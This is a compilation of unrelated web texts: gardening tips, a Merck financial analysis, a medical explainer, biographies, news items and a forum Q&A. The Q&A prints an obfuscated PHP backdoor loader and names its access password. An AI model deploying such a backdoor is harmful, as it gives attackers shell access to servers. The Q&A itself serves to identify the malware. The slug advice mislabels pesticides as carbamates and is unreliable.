GOLDIEBLOX GIRL POWER: The lack of women in STEM issue is widely known. This week, Tom Vander Ark ratches up the alarm by sharing data such as the fact that only 13% of engineers are female (compared to 53% in the social sciences). In order to combat this, STEM-focused Goldieblox has endeavored to produce engineering toys for girls, and recently put out a stereotype-crushing promo video. Though video has gone high-and-low viral (gracing publications from The New York Times to Buzzfeed), the question continues to linger: Will current education reform support an influx of women into STEM careers?


Slugs in a flower bed are frustrating to the gardener and harmful to the flowers. Once an effective slug removal system is used, avoid re-infestation by utilizing a barrier system around the flowers individually or the entire flower bed. Whether you choose organic methods, use of chemical pesticides or homemade remedies, the slug problem is controllable.
Use an empty, open tuna fish can filled with beer to attract the slugs. The yeast in the beer is the scent that attracts the slug. Bury this can in and around your plants. Make sure that the depth of the can is deep enough that the trapped slugs cannot climb out. Every two days, remove the cans, dump the slugs out, and replace the cans in the flowerbed. These cans are essentially the same as a beer trap, which can be purchased in different forms or kits at a gardening supply center.
Purchase copper flashing or strips of copper metal. The copper gives a small electric shock to the slug, working as a deterrent more than a repellent, so it does not kill the slug--rather, it only repels it from the flowers. These can be purchased in a kit or can be made at home. The purchased kits will supply round copper strips, which are used to surround the base of the flowering plant or straight copper strips to tuck around the entire flower bed. Using copper strips is a good choice if you want to prevent slugs from getting to the plants--not remove ones that are already there.
Choosing household ammonia to treat the flower bed area that is infested with slugs is an effective repellent when applied directly to the slugs and soil. Mix the household ammonia with water at the ratio of 1 :4 to 1:10 and thoroughly soak the soil in the affected areas. Household ammonia will not hurt your flowering plants; it contains nitrogen, which is a fertilizer for your flowering plants.
Purchase a slug bait that contains iron phosphate, which is available in both powder and pellet form. The pellets may be attractive to domestic dogs or cats as food and are hazardous to both humans and pets if ingested. Both the iron phosphate powder and pellets are effective in killing slugs in a flower bed. Use the pellets around the base of the plants; use the powder in the entire flower bed area and in larger areas where slugs are a problem.
Use a pesticide slug killer for immediate death of the slimy pests. Pesticides that are labeled specifically for killing slugs, contain a chemical called a molluscicide. which kills on contact and is extremely effective. The pesticides come in a powder, pellet or liquid form, all with the same effectiveness and ingredients.
Read the label and review that metaldehyde or methiocarb are main ingredients in the pesticide slug killer. These are both part of a group of chemicals called carbamates--which includes herbicides, fungicides and, insecticides--to kill slugs.
If you want to go truly organic, purchase chickens or ducks for your flower garden as they will eat slugs.
When choosing a chemical pesticide, follow the label directions exactly and be conscious of the warnings for accidental ingestion by humans and/or pets.


Depreciation is provided over the estimated useful lives of the assets, principally using the straight-line method. For tax purposes, accelerated tax methods are used. The estimated useful lives primarily range from 25 to 45 years for Buildings, and from 3 to 15 years for Machinery, equipment and office furnishings. Depreciation expense was $1.4 billion in 2018, $1.5 billion in 2017 and $1.6 billion in 2016.
Source: 10-K (filing date: 2019-02-27).

Property, plant and equipment, at cost Amount before accumulated depreciation, depletion and amortization of physical assets used in the normal conduct of business and not intended for resale. Examples include, but are not limited to, land, buildings, machinery and equipment, office equipment, and furniture and fixtures. Merck & Co. Inc.'s property, plant and equipment, at cost increased from 2016 to 2017 and from 2017 to 2018.
Property, plant and equipment, at cost, net of accumulated depreciation Amount after accumulated depreciation, depletion and amortization of physical assets used in the normal conduct of business to produce goods and services and not intended for resale. Examples include, but are not limited to, land, buildings, machinery and equipment, office equipment, and furniture and fixtures. Merck & Co. Inc.'s property, plant and equipment, at cost, net of accumulated depreciation increased from 2016 to 2017 and from 2017 to 2018.
Average age As long as straight-line depreciation is used, this is an accurate estimate of asset age as a percentage of depreciable life. The relative age is a useful measure of whether the company's fixed asset base is old or new. Newer assets are likely to be more efficient. Merck & Co. Inc.'s average age of depreciable property, plant and equipment deteriorated from 2016 to 2017 but then improved from 2017 to 2018 exceeding 2016 level.
Estimated total useful life Over longer time periods, this ratio is a useful measure of company's depreciation policy and can be used for comparisons with competitors. Merck & Co. Inc.'s estimated total useful life of depreciable property, plant and equipment increased from 2016 to 2017 and from 2017 to 2018.
Estimated time elapsed since purchase The approximate age in years of a company's fixed assets. Useful for comparison purposes. Merck & Co. Inc.'s estimated time elapsed since purchase of depreciable property, plant and equipment deteriorated from 2016 to 2017 and from 2017 to 2018.
Estimated remaining life Merck & Co. Inc.'s estimated remaining life of depreciable property, plant and equipment increased from 2016 to 2017 and from 2017 to 2018.


In 2015, HPRC posted an introductory article on trigger points. Commonly called muscle knots, these tight and sometimes painful spots often can be treated on your own. But when that fails, they might need further attention from a healthcare professional. Such treatment might include trigger point injections directly into the affected muscle. Another treatment is dry needling (similar to acupuncture), in which a healthcare specialist uses shallowly inserted thin needles without injection. The effectiveness of trigger point injections and dry needling for pain management varies.
At-home treatments for trigger points include massage, manually or with a massage ball, and foam-rolling exercises. To learn more about treatments your healthcare provider can offer, read on.
Trigger point injections (TPIs) involve substances injected directly into the trigger point that can reduce pain or discomfort caused by irritated and stiff muscle fiber1,2. TPI needles (or what's in them) disrupt the trigger point(s) so the muscle fiber can relax and lengthen3. TPIs apply a small amount of pressure to the irritated muscle fibers. They can contain fluids such as sterile water, an anesthetic, lidocaine mixed with a steroid, or botulinum toxin (such as BOTOX®). TPIs aim to reduce inflammation and relax trigger points, which lessen pain2. TPIs relieve some types of musculoskeletal pain, as well as chronic headache and migraines associated with trigger points. The effectiveness of TPIs for other types of pain (including other types of headaches/migraines) is still unfolding. Individual small studies have shown promise for the use of TPIs with, for example, neck and shoulder pain4, sciatica pain1, myofascial5,6.
The most commonly known and widely studied TPI is BOTOX®, which was FDA-approved in 2010 as a treatment for chronic migraine pain. Studies into the use of BOTOX® to treat other types of headaches, such as tension headaches, so far have had mixed findings7,8.
In addition, the effectiveness of BOTOX® injections has been explored in (mostly small) trial studies for reducing pain of upper back myofascial (connective tissue) pain syndrome9,10, cervical headaches11, and pelvic pain in women12, but other findings so far are mixed13. To date none of these treatments are FDA approved and all need further study. The effectiveness of TPIs varies with the solution used in the injection. Trials and studies are ongoing, but much is still unknown5,14-16.
Another approach is referred to as "dry needling." It involves inserting needles (such as acupuncture or hypodermic needles) into a trigger point without injecting a medication or other liquid. The thin needles apply pressure to the underlying muscle or tissue17. Dry needling might reduce upper back pain compared to another technique of applying pressure18. However, there is not yet enough reliable research on the use of dry needling for trigger point pain management.
More research is needed to reach a full understanding of the risks and benefits of TPI and dry needling. However, these treatments usually have very few side effects, are relatively inexpensive, and typically provide short-term pain relief.
The most common side effects of TPI and dry needling are soreness, tenderness, bruising, and redness at the treatment site. Other side effects are specifically associated with BOTOX®. However, certain types of TPIs might cause tissue or organ damage if not done correctly. These treatments are not recommended if you have a bleeding disorder or an infection or recently ingested aspirin. Also, if you have an allergy to anesthesia, muscle trauma, or extreme fear of needles, TPI isn't likely the best course of treatment for you19.
TPIs and needling might lead to injury if not performed correctly, so it's important to seek a healthcare professional who is properly trained to administer these treatments2.
Muscle knots and trigger points are common experiences for many service members. TPIs and needling can sometimes reduce pain for short periods of time, but it isn't clear how effective they are, especially in the long run2,3. Trigger point treatments should always be performed by specially trained healthcare providers.

Karl Friedrich Brandt est un professeur de médecine allemand, né le  à Mulhouse (Empire allemand) et mort le  à Landsberg am Lech (Allemagne). Il est considéré comme un criminel de guerre.

Il a notamment été le médecin personnel d'Adolf Hitler à l'époque du Troisième Reich et portait le grade de  SS-Gruppenführer dans l'Allgemeine SS et de SS-Brigadeführer und Generalmajor der Waffen-SS.

Biographie
Bien que né en Alsace, Brandt n'est pas issu de parents alsaciens, son père, commissaire de police, ayant été muté d'Allemagne à Mulhouse. À l'époque de sa naissance, Mulhouse est en effet allemande, comme toute l'Alsace et la Moselle annexées par l'Empire allemand en 1871 en vertu du Traité de Francfort.

Brandt quitte l'Alsace en 1919 et poursuit ses études à Dresde où il passe son Abitur, puis commence ses études de médecine à Dresde, Iéna, Berlin puis Fribourg-en-Brisgau. À Bochum, il se spécialise dans la chirurgie des traumatismes crâniens et obtient son diplôme en 1928. Il émet alors le vœu de partir à Lambaréné au Gabon, afin de rejoindre le docteur Schweitzer, mais n'ayant pas opté pour la nationalité française en quittant l'Alsace, il renonce à ce projet.

C'est en 1933, alors que Brandt et sa fiancée Anna Rehborn suivent le cortège menant Hitler du restaurant où ils venaient de dîner ensemble au Berghof, que la Mercedes du Führer quitte la route. Adolf Hitler est indemne, mais le chef de sa garde personnelle, Wilhelm Brückner, est gravement blessé. L'intervention du  Brandt lui sauve la vie. C'est Wilhelm Brückner en personne qui proposera le  Brandt comme médecin personnel du Führer et l'appellera le  pour lui demander de venir immédiatement à Munich afin d'accompagner Hitler lors d'un voyage en Italie.  Cette date est considérée comme le jour où la vie du  Brandt a basculé, .

Il rejoint d'abord la Ligue national-socialiste des médecins et le NSDAP dès 1932, en soulignant ne pas vouloir appartenir ni à la SS ni à la SA, mais il devient finalement membre de la SA en 1934, pour rejoindre ensuite la SS fin 1934, devenant Untersturmführer, le grade d'officier le moins élevé. Il terminera cependant la guerre avec le grade de Brigadeführer SS (Médecin-général SS). En , il est envoyé à Paris après l'attentat commis contre Ernst vom Rath, membre de l'ambassade d'Allemagne. La mort du diplomate sert de prétexte à la Nuit de Cristal.

Dès 1939, Brandt dirige l'administration du programme d'euthanasie T4 visant l'élimination physique des aliénés et autres handicapés allemands. Il invente alors l'injection létale, utilisée encore aujourd'hui dans certains États des États-Unis pour appliquer la peine de mort. Il cumule les grades et les charges de SS-, Generalmajor de la Waffen-SS et de commissaire général pour la Santé et les Affaires sanitaires. Il est impliqué dans un programme d'expérimentation humaine, aux côtés du psychiatre Werner Heyde et d'autres médecins.

Début 1944, le Dr Karl Brandt facilite l'accès du docteur Otto Bickenbach au camp de concentration de Natzweiler-Struthof pour y effectuer des expérimentations sur l'homme. Il sait que ces expériences conduiront à la mort de détenus. En , le Dr Brandt revient superviser l'avancement des travaux de Bickenbach, au moment où ce dernier engage des essais avec des témoins non protégés contre le gaz phosgène auquel il les expose à dose mortelle. Le Dr Karl Brandt reçoit personnellement les rapports du résultat de ces expériences qui font état de quatre décès officiels sur les détenus « témoins ». Pour contrer l'avancement des troupes alliées, le Dr Karl Brandt pousse au développement d'armes bactériologiques, notamment auprès des professeurs Otto Bickenbach et Richard Kuhn, prix Nobel de chimie en 1938. Il est arrêté par les Américains le .

Brandt est jugé en 1947 durant le procès que l'on surnomma le Procès des médecins. Il est condamné à mort le  pour appartenance à une organisation criminelle, crime de guerre et crime contre l'humanité.

Sans être ministre de la Santé publique, Karl Brandt détenait l'autorité médicale suprême sous le Troisième Reich. Sa condamnation à mort souleva pourtant de vives protestations  de la part de plusieurs journaux allemands, dont le puissant quotidien de Nuremberg, le  qui publie le lendemain une biographie élogieuse sur une pleine page, en le présentant comme un martyr injustement condamné.

Le procureur McHaney de la cour de Nuremberg ayant jugé Karl Brandt prononcera cette phrase qui alimentera la polémique sur le bien-fondé de la sentence prononcée à l'encontre du médecin du Reich : « Le procès a montré que Karl Brandt n'a rien su de ces expériences, mais il est coupable parce qu'il aurait dû savoir. »

Par l'intermédiaire de son avocat, Robert Servatius, il demande aux autorités américaines qu'on lui fasse subir une expérience médicale n'offrant aucune chance de survie. Son objectif est de transformer sa condamnation en un acte délibéré dans l'intérêt de l'humanité, ce qui lui sera refusé. Plusieurs demandes de grâce parviennent aux autorités américaines, entre autres celle du directeur de l'asile d'aliénés de l'institution protestante Bethel, dont Brandt aurait sauvé des pensionnaires. Selon Philippe Aziz, elles ont une chance d'aboutir, mais le commandement militaire donnera l'ordre d'exécution avant que la décision soit prise en haut lieu.

Brandt fut exécuté par pendaison avec six autres accusés (dont l'un de ses collaborateurs Viktor Brack) le  à la prison de Landsberg.

Sur l'échafaud, il fait une longue déclaration où il explique que les Américains n'ont pas de leçons à lui donner, qu'ils sont les vainqueurs et qu'ils resteront « sous le signe de Caïn » après Hiroshima et Nagasaki. Selon lui, la force exige des victimes et il en est une. Ses derniers mots avant de mourir furent les suivants : .

Selon Aziz, sa responsabilité criminelle était une des moins solidement établies ; et si ces derniers propos ne manquent pas de grandeur et de force de conviction, encore faut-il qu'il en ait toujours été réellement digne.

Pour Bruno Halouia et Yves Ternon, il n'était pas de dialogue possible entre les juges américains et la plus haute personnalité de la médecine nazie. Le procureur général McHaney cherchait à déterminer les responsables des crimes commis, Karl Brandt s'en moquait. .

Civil Rights Icon Fannie Lou Hamer Biopic to be Scripted by "Remember The Titans" Writer Gregory Allen Howard
Fannie Lou Hamer (photo via powerpacplus.org)
by Mike Fleming Jr. via deadline.com
Remember the Titans scribe Gregory Allen Howard has teamed with Chris Columbus' 1492 production company to tell the story of Fannie Lou Hamer, a sharecropper with a sixth-grade education who became an important voting-rights advocate and founded the first integrated political party in the South in mid-'60s Mississippi.
Hamer grew up in a family of 20 kids and picked cotton for most of her life. After going to a doctor to have a tumor removed, she discovered she was given a hysterectomy at age 47 by a white doctor, without her consent, because of a movement by the state to sterilize women to reduce the number of poor blacks in Mississippi.
Hamer became a Civil Rights activist, surviving assassination attempts

Q: Php encoded shell code? While looking at my log files i found a file that i didnt recognized. It looks like encoded php script. I would like to see the content or get an idea what the script does. Below is the full encoded php script.
<?php $_8b7b="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";$_8b7b1f="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$_8b7b1f56=$_8b7b("",$_8b7b1f("[encoded data, 28088 characters]"));$_8b7b1f56();?>

A: Running it on codepad results in a form being shown. Most likely it's a PHP-based backdoor to execute shell commands.
Executing the base64 encoded code after replacing eval with echo shows the code of the actual script: http://codepad.org/lntRtqz8
It is indeed a backdoor allowing any attacker who knows the password showmustgoon! (googling for the md5 hash helps) to execute both php code and shell commands, upload files and execute sql statements.
Searching for the md5 hash also spits out a link to another analysis of the backdoor: http://www.thebaskins.com/main/component/content/article/15-work/56-attackanalysis

A: well, don't execute it...

John Valeriote recognized for his years of community service
'I have been very fortunate,' says John Valeriote about his community efforts and the people he's worked with
Dec 3, 2020 10:00 AM By: Ariel Deutschmann

Many know John Valeriote for his contributions to Guelph through community development, but now the retired lawyer has received recognition for his efforts from the Law Society of Ontario.
Earlier this year Valeriote received the Lincoln Alexander Award, which recognizes the efforts of individuals who have made a considerable impact within their community.
Valeriote said the award arrived on his doorstep earlier this week.
"It's quite the distinction," he said. "It's an honour."
Valeriote has been recognized for his efforts many times in the past, including the Mayor's Award in 2019, but mentions the Lincoln Alexander Award has a special meaning in its own right.
"It was given by my governing body, the Law Society of Ontario," he explains, "and that's quite special to me."
Besides recognizing his community efforts, the award is also connects Valeriote to Guelph's history.
The Lincoln Alexander Award is named after Black lawyer and Ontario's 24th lieutenant governor who became chancellor of the University of Guelph in 1991.
"He's a guy who was very much a committed fellow," said Valeriote about Alexander, "and the law society came up with this award (in his honour), and all of the sudden, I am the recipient!"
"It's humbling and satisfying."
After graduating from Osgoode Hall in 1968, Valeriote had to make a choice between moving back to Guelph or staying in Toronto.
In the end, he said he made a 'very good decision,' and opened up a practice on Speedvale Avenue with his brother Frank.
"I chose to go back to Guelph," he said, "I enjoy the history of Guelph and how it developed, and the various efforts of people to help the city grow."
Through the Rotary Club, Valeriote started to learn more about the community. Back then, Valeriote said there was only one club in Guelph, and he joined a few years after setting up his practice.
"I enjoyed it for two reasons," he said, "It was good for the community, and it gave me something (to do) other than pushing paper as a lawyer."
Valeriote remembers getting involved with lots of different projects with the club, including running children's programs and a lot of fundraising.
"That began one project, and then a different project and a different project," he recalls.
In 1980, Valeriote had a friend in Rotary who told him about a committee looking to restore the carousel at Riverside Park.
"I said, 'What are you going to do about saving that carousel? They're tearing it down,' " he recalls, "And he turned to me and said, 'What are you going to do about it?'
"And I said, 'Well, we'll do something together.'"
For the campaign, Valeriote asked Guelph artist Ken Danby if he could provide paintings of the carousel.
"He had done a series of paintings of the carousel," he explains, "I called him and I said, 'I'm going to need some pictures of the carousel, can you help me out?'
With Danby and a couple other volunteers, Valeriote said they were able to raise enough money to restore the carousel.
"It's really great," he said about their campaign's success, "The kiddies loved the damn thing. It's wonderful."
After the carousel, Valeriote was asked to help support the development of The Family fountain in downtown Guelph. He also helped raise money for the current location of the Guelph Civic Museum on Norfolk Street and helped to incorporate the hospice centre.
When asked if he favours participating in one project over others, Valeriote said he does not.
"It's too easy to say all and it's too difficult to say one," he explains, "Every project had its time and its people who worked on it."
Although, Valeriote does admit that the fountain project was a very challenging time.
"That was a bear," he said about the project which started in 1982, "We were walking uphill."
Valeriote explains the project's total cost being $68,000, a lot of money in the 80s, and they were having a hard time raising funds.
However, their luck changed when a minister wrote a scathing letter to the local newspaper about the chosen statue for the project, which features a naked man, woman and child.
After that, Valeriote recalls money came pouring in to support the project, which was erected on Wyndham Street in 1985.
He adds they threw a big celebration for the event and the governor general came to open the fountain.
"It's iconic now in the city of Guelph," he said, "It's good to see it there."
The last community project Valeriote was involved in was the development of the hospice centre in Guelph, which opened in 2015.
Since retiring from his practice in 2019, Valeriote said he looks back on his community efforts and is fortunate for the people he's worked with, as he contributes them to the success of these initiatives.
"The key to everything was the people that I was involved with," he said, "It was always those other people, the people on the committee, who did this stuff.
"And we had fun."
Good morning, Guelph!

Looking For Hope In A Clinical Trial
WUSF Public Media - WUSF 89.7 | By Carol Gentry,

Ed Hancock rides as his wife Diana gives Zip a pat.
Until three years ago, Ed Hancock traveled the world, a high-level executive forAmerisourceBergen, a global drug packaging and distribution company.
Now at 66 he's retired, living on a mini-ranch near Ocala. He and his wife Diana spend a lot of time out back at their stable, where they take turns riding Zip, their Rocky Mountain trail-riding horse.
"Sometimes I'll ride, sometimes she'll ride," Ed said. "Once we get back to two horses, we'll ride together again."

Diana Hancock spends a lot of time with Zip the horse at the Ocala ranch she shares with her husband Ed.
Diana's doing a lot of the riding lately. Something else is taking up Ed's time: he's a board member of the regional Alzheimer's Association.
Diana said she understands why her husband is so involved.
"When we first started talking about Alzheimer's, it must have been 30 years ago, when his parents first got it. And we've been talking about it ever since, thinking it's inevitable," Diana said. "And then when his sister got it – (she's) the other remaining family member -- so we're pretty sure it's in our future."
And then there's something else pulling Ed away from the ranch: a clinical trial. Though Ed doesn't yet have symptoms of Alzheimer's disease, a PET scan last year showed his brain was dotted with amyloid plaque.
That meant he qualified to participate in a three-country "double blind" clinical trial that is testing whether a drug can prevent the disease by washing the plaque out.
Once a month, he drives from the ranch to Tampa and the Byrd Alzheimer's Institute at the University of South Florida. It's one of six sites in the state participating in what's called the A4 trial.
There, he and nurse Beth Major joke around as she hooks him up to an IV, which for an hour or so sends either the drug or a placebo flowing into his arm. Ed doesn't know which.
"Beth is a pro, doesn't hurt going in, doesn't hurt coming out, and we have a lot of fun in between," he said.
During the treatment, Ed talks about how he first discovered that his father had the disease.
"We were sitting there, having a conversation…I was trying to have a conversation," he said. "And (his father) said, 'Did we use to work together'? No, no, Dad, we didn't...So then I knew. "
During later visits to his parent's Kentucky home, Ed said, his father tried to cover up memory gaps.
"I would walk in and he would be effusive. 'Hey! Look who's here! How's the family?' (He) didn't know who I was," he said.
Finally, there came a time when Ed said the visits home just upset his father.
"I became an intruder. And the affection I would show for my mother became a problem. Same with my sister," he said. "I used to always stay at their house when I would visit, and I could no longer do that."
Ed's older sister, who spent 10 years taking care of their parents, was diagnosed herself with Alzheimer's about seven years ago. Ed said by the time her husband started checking out clinical trials, it was too late.
"And he said, 'Well, I guess we should have started earlier,'" Ed said. "And that rang a note for me."
That led him to a website: ALZ.org. He found the 'trial match' service of the Alzheimer's Association, and enrolled in the A4 trial about a year and a half ago. He still has about that much longer to go.
Diana Hancock said she hopes Ed is getting the real drug.
"If we're spending 3 years doing this, and it's the placebo, that's going to be really disappointing," she said. "Or if it doesn't work…"
Ed interrupts, reminding his wife why he signed on. "Somebody has to be part of the trial for any science to be done," he said.
She understands: there's a bigger reason behind this uncertainty.
"And then, there's the kids," she said. "If something can be found, maybe the kids or grandkids can be saved."

Match Preview: Leeds United vs Crystal Palace
A lacklustre performance on the south coast and an alarming run of fixtures to come - the dawn of an important week for a damned united in need of redemption

Today's clash with Crystal Palace later this evening marks a big opportunity for the Whites to redeem themselves in front of another sold-out Elland Road crowd. But more importantly, the fixture provides a chance to gain some much-needed points on the eve of a festive fixture run featuring four of the Premier League's top five, in what will inevitably be a crucially decisive fortnight for Bielsa's squad.
Following the uninspired performance in the goalless draw versus Brighton over the weekend, Leeds find themselves locked in seventeenth position and just three points from the table's relegation zone. Despite the welcomed return of both Rodrigo and Raphinha, Leeds finished the game with little to show for it.
Graham Potter's Brighton side, who themselves are struggling for form without a win in seven going into the clash dominated the game from the beginning, hitting the woodwork twice yet were left to rue their flurry of chances. For Leeds, the game was one to forget with returning full-back Junior Firpo, who was signed from Barcelona for £12.8m over the summer window, unsuccessful in keeping converted winger Tariq Lamptey from terrorising the Leeds defence throughout the first half, before he and the so often dependable Kalvin Phillips were substituted at half-time. Regardless of the positive influence of Tyler Roberts in the last thirty, it was a disappointing result and perhaps a sign of where Leeds now find themselves heading into a hugely important week.

With back-to-back home games against Crystal Palace and Brentford next (who are both situated just four points ahead of the Whites), the need for improved results is paramount before the uninvited Christmas fixture wish-list of Chelsea, Manchester City, Arsenal and Liverpool is upon us. But Leeds have the audacity to compete. After taking points from all four of the Premier League heavyweights last season, the opportunity to do so again will hold even greater admiration this time round.
But first, Leeds need to prove they can compete against the league's bottom-half sides in hope of steering away from the relegation zone and building some momentum, starting with Crystal Palace tonight. In the context of the last few years, the South London club can be perceived to be overachievers so far this season, as the seventh top-scoring side and now advocates of the attacking, fast-paced playing style with Patrick Vieira at the helm. The Frenchman is set to face Bielsa for the first time in his managerial career and will be keen for his side to produce a better performance in response to the loss against Aston Villa, which ended his seven-game unbeaten run.
During the build-up to tonight's visit to Elland Road, Vieira believes Leeds have been unfortunate so far this season and he may be right, but the Whites are growing short of confidence and running low on time. Still without the experienced duo of Patrick Bamford and Luke Ayling (after both playing for the under-23s on Monday night), Leeds will go into the game with a squad finally becoming collectively injury-free and ready to compete in what is always an incredibly demanding December schedule. But with eight games in just thirty-four days, the festive fixture cluster provides the Whites with the perfect opportunity for some needed restoration.
Bill continues his journey back! pic.twitter.com/sfCalAySGo
A win for the home side would see Leeds finally climb the Premier League table at least two places, six points from the drop zone as a result and just a point away from eleventh positioned Crystal Palace. In retrospect, last year's 2-0 win at home following goals from Jack Harrison and Patrick Bamford provided an encouraging conciliation to the 4-1 away loss suffered at Selhurst Park earlier on in the season, yet only emphasises the likely balanced nature of two sides that pride themselves on high-press, aggressive football, with plenty of footballing potential still to unlocked.
With just hours to go before kick-off, Leeds know all too well they need to start earning points. The relentless nature of the Premier League is unforgiving and forever impatient of those sides yet struggling to compete, but form comes in waves. Just three weeks ago, Aston Villa were just two points outside the relegation zone, suffering from five consecutive losses and had sacked Dean Smith. Following a new managerial appointment, they now sit thirteenth and comfortably seven points from the drop. The point is, three weeks can change everything and transform a team from relegation candidates to convincing mid-table status. Leeds have time, but with a busy month brewing, naturally, they will continue fighting over a period that has the potential to lift them up the table with speed. During a festive season that radiates so much spirit, Leeds' notorious marching on together mantra may never be so fitting.

#12 Irish Tabbed To Host NCAA Second Round On Sunday
2017 NCAA MSOC Championship | Interactive Bracket | Tickets
NOTRE DAME, Ind. – The University of Notre Dame men's soccer team has earned a bid into the NCAA Championship for the 20th time in program history. The Irish were rewarded with their sixth straight top-16 national seed when the 2017 NCAA Division I Men's Soccer Championship draw was unveiled on Monday.
The Irish drew the No. 12 seed into the 2017 NCAA tournament, and will host the winner of Wisconsin and UIC on Sunday at 6 p.m. (ET) inside Alumni Stadium. The first-round matchup between UIC and Wisconsin is set to take place on Thursday at the McClimon Memorial Track & Soccer Complex in Madison, Wisconsin.
For ticket information for Sunday's NCAA tournament match at Alumni Stadium, call the Murnane Family Ticket Office at (574) 631-7356, visit UND.com/buytickets, or stop by the ticket office window inside Purcell Pavilion.
Notre Dame (11-6-2) is set to make its 16th NCAA Championship appearance in the past 17 seasons under head coach Bobby Clark and its 12th as one of the event's 16 national seeds. The Irish were seeded 13th in 2016, seventh in 2015, were the top overall seed in both 2012 and 2014, and won the 2013 NCAA Championship as the third seed in their last five tournament berths.
The Irish are 18-17-2 (.514) all-time in NCAA Championship play, which includes a 17-13-2 record under Clark. Notre Dame has advanced to the NCAA Round of 16 on nine occasions, the national quarterfinals three times (2006-07, 2013), and claimed the national championship during the program's inaugural NCAA College Cup appearance in 2013.
Notre Dame previously faced nine other qualifiers during the regular season, and Atlantic Coast Conference (ACC) Championship matches, entering 2017 NCAA tournament play. The Irish are a combined 4-5-2 (.455) against fellow NCAA Championship competitors this season, including a 2-0-2 mark in matches played at Alumni Stadium.
The ACC tied its own NCAA men's soccer record by seeing nine affiliate teams earn berths into the 2017 NCAA Championship field. Along with Notre Dame, No. 1 Wake Forest, No. 3 North Carolina, No. 4 Louisville, No. 6 Duke, No. 8 Clemson, No. 11 Virginia, Virginia Tech and NC State are set to represent the conference on the road toward the NCAA College Cup in Philadelphia.
A total of 16 of the last 20 winners of the NCAA College Cup, dating back to the 1997 season, are included in the field of 48 vying for the 2017 NCAA Championship. Notre Dame (2013), Indiana (1998, 1999, 2003, 2004, 2012), North Carolina (2001, 2011), Wake Forest (2007), Virginia (2009, 2014) and Stanford (2015, 2016) are all seeded in this year's tournament, with recent champions Maryland (2005, 2008) and Akron (2010) also in the 2017 field.
Wisconsin earned a home match during the first round of the NCAA Championship on the strength of a 10-4-5 record, most recently drawing 0-0 with No. 2 seed Indiana and claiming the Big Ten tournament championship 4-2 in penalty kicks on Nov. 12. The Badgers defeated No. 4 seed Maryland 2-1 (Nov. 5) and No. 1 seed Michigan 4-0 (Nov. 10) on their way to the tournament crown.
UIC (11-5-3) secured the automatic NCAA bid from the Horizon League for the second straight season after defeating top-seeded Green Bay 2-0 on Nov. 11 in the conference tournament final. The Flames had previously downed Cleveland State 3-1 during the semifinal round on their way to claiming the fifth conference tournament championship victory in program history.
Following Thursday's first round and Sunday's second round games, the NCAA Championship continues with third round matchups on Nov. 25 or 26 at campus sites. The national quarterfinals will follow on Dec. 1-2 at campus venues. The 2017 NCAA College Cup will be contested on Dec. 8 (national semifinals) and Dec. 10 (national final) at Talen Energy Stadium in Philadelphia, live on ESPN2.

Dinha do Acarajé (Salvador, 20 de maio de 1951 - Salvador, 16 de maio de 2008), nome pelo qual ficou conhecida Lindinalva de Assis, foi a mais famosa quituteira da Bahia no feitio do acarajé.

A ela se atribuía "o melhor acarajé da Bahia" e foi chamada de "soberana da Bahia" em matéria da Folha de S.Paulo; ali Dinha foi assim retratada pelo jornalista William Vieira: "Ia sempre com o vestido de renda branca, as contas de orixás escorrendo pelo pescoço e os fartos lábios pintados e abertos em um sorriso todo branco" quando passava "desfilando como ícone da cultura baiana".

Biografia

Dinha era neta da baiana de acarajé Ubaldina de Assis, quem primeiro estabeleceu um ponto de venda do quitute típico no Largo de Santana, no bairro boêmio do Rio Vermelho, por volta de 1944; já aos sete anos de idade aprendeu com ela o preparo da iguaria de modo que, com somente dez anos, assumiu o ponto que viria a se tornar uma referência cultural na capital baiana a ponto de o Largo de Santana ser conhecido como "Largo da Dinha".

Seu ponto foi frequentado por várias celebridades locais e nacionais, como Chico Buarque, Daniela Mercury, Ayrton Senna, Emerson Fittipaldi, Dercy Gonçalves, etc.

Em 1997 Dinha foi levada como representante da culinária baiana por uma empresa de tecnologia ao principado de Mônaco onde permaneceu por dez dias e veio a servir a família real monegasca.

Em 1998 Dinha travou aquilo que ficou conhecido como uma verdadeira "guerra do acarajé" com outra quituteira que trabalhava no Rio Vermelho, Regina dos Santos Pereira, dividindo a opinião dos baianos. Regina tinha um ponto no bairro da Graça mas, naquele ano, resolveu colocar um tabuleiro a cerca de cem metros da concorrente, gerando assim a disputa.

Em 1999, com o sucesso de seu trabalho, abriu um restaurante formal chamado "Casa da Dinha", que também passou a ser um ponto de encontro de intelectuais e turistas.

Segundo seu biógrafo, Ubaldo Marques Porto Filho, Dinha foi uma das principais defensoras da categoria das baianas de acarajé, não somente para o reconhecimento da profissão, como ainda para o seu tombamento pelo IPHAN como patrimônio cultural brasileiro.

Doença e morte
Dinha foi internada no Hospital Aliança com insuficiência respiratória e, após seis dias ali, recebeu alta na tarde de 15 de maio e ao chegar em casa teve nova crise que a levou de volta ao nosocômio onde não resistiu e veio a falecer na madrugada do dia seguinte.

Com sua morte a filha, Cláudia de Assis, assumiu o ponto de acarajé, enquanto o filho, Edvaldo, assumiu o restaurante. Em 2016, entretanto, Cláudia também veio a falecer, vítima de câncer no pulmão; mãe e filha foram sepultadas no Cemitério Jardim da Saudade.

UDUSOK denies claims that two students died in the fire outbreak that occurred in its hostel
The Management of the Usmanu Danfodiyo University, Sokoto, has reacted to claims that two students of the institution were lost as a result of a fire outbreak at the Block 'M' Down Valley female hostel.
Recall that one of the university's female hostels was gutted by fire in the early hours of Monday, February 1, 2021, resulting in the destruction of properties, credentials, cash, and other valuables of no fewer than 68 female students. Read here
The Vice-Chancellor of the University, Professor Lawal Bilbis, represented by the Dean of Students Affairs, Professor Aminu Mode, while speaking to newsmen said only three students were injured and no life was lost.
He disclosed that the fire was suspected to have been caused by an explosion of a gas cylinder from one of the rooms of the ill-fated hostel, and the injured students have been treated. The affected students have also been reallocated to new hostel accommodation, while they were given new mattresses and pillows.

Germantown White House
The Germantown White House (formerly the Deshler-Morris House, Deshler House or Perot-Morris House) is a historic mansion in the Germantown section of Philadelphia, Pennsylvania. It was the scene of fighting in the Battle of Germantown, and it is the oldest surviving presidential residence, having twice sheltered George Washington during his term of office.
==Construction and ownership==
The house takes its former name from its first and last owners: David Deshler, who built it beginning in 1752; and Elliston P. Morris, who donated it to the National Park Service in 1948.
